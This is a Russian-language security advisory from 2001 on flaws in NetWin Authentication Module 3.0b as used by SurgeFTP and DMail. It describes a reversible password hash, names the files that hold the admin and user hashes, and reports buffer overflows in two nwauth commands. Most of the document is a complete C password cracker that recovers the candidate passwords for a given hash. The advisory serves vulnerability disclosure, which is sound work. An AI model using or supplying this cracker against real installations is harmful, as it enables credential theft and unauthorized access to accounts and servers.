Security Lab

Несколько уязвимостей в NetWin Authentication Module 3.0b

Дата публикации:22.07.2001
Дата изменения:17.10.2006
Всего просмотров:1462
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

NWAuth module используется многими продуктами например DMail, SurgeFTP и др. Тестирование производилось на SurgeFTP. В нем найдено несколько уязвимостей:

1. ' NetWin Authentication Module ', который используется SurgeFTP, DMail и другими программами, использует весьма 'необычный' алгоритм хеширования, чтобы сохранить hash пароля. Но алгоритм может быть испорчен, по крайней мере, двумя способами:

а) ХЕШ пароля может быть расшифрован

б) один хеш может соответствовать более чем одному паролю, т.е один пользователь может иметь несколько миллионов паролей помимо того, который был ему фактически назначен.

К счастью, SurgeFTP имеет некоторые методы anti-hammering, для того, чтобы предотвратить bruteforcing. Что касается расшифровки, ниже приложенный исходник, генерирует все возможные пароли для данного хеша. Хеш пароля, используемый в SurgeFTP может быть найден в пределах файлов \surgeftp\admin.dat (sysadmin паролем) и \surgeftp\nwauth.clg (пользовательские пароли).

2. NetWin Authentication Module содержит переполнение буфера в следующих командах:

a) Nwauth-del команда вызывает нарушение прав доступа , если она передается с длинным именем пользователя. Это не так страшно, так как эту команду могут использовать только администраторы.

б) nwauth – lookup команда поиска вызывает нарушение прав доступа, когда имя пользователя превышает 1000 символов, что может быть вызвано нападавшим, если программа передаст это имя пользователя от команды 1 "USER".



Исходник для генерации паролей:


#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
generated password may consist of (true/false), since
we don't want to go into too much trouble when typing
everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
int heavycrypt0;
unsigned int num=0, i, x;
unsigned char j[256], decrypted[256];
for(i=0; i<256;i++) { j[i] = 0; }
brute:
heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
for(i=0; i+2 < strlen(encrypted); i++) {
for(x=j[i]; x < 256; x++) {
if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
decrypted[i] = x;
break;
}
}
if (x == 256) {
next:
if (i == 0) return num;
if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
for (i=x; i < 256; i++) { j[i] = 0; }
goto brute;
}
heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
}
decrypted[i] = '\x00';
num++;
printf("%s\n", decrypted);
if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
for (i=x; i < 256; i++) { j[i] = 0; }
goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
char buf[256]; int k, l;

printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");

if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
printf("%s ->\n",argv[1]);

printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}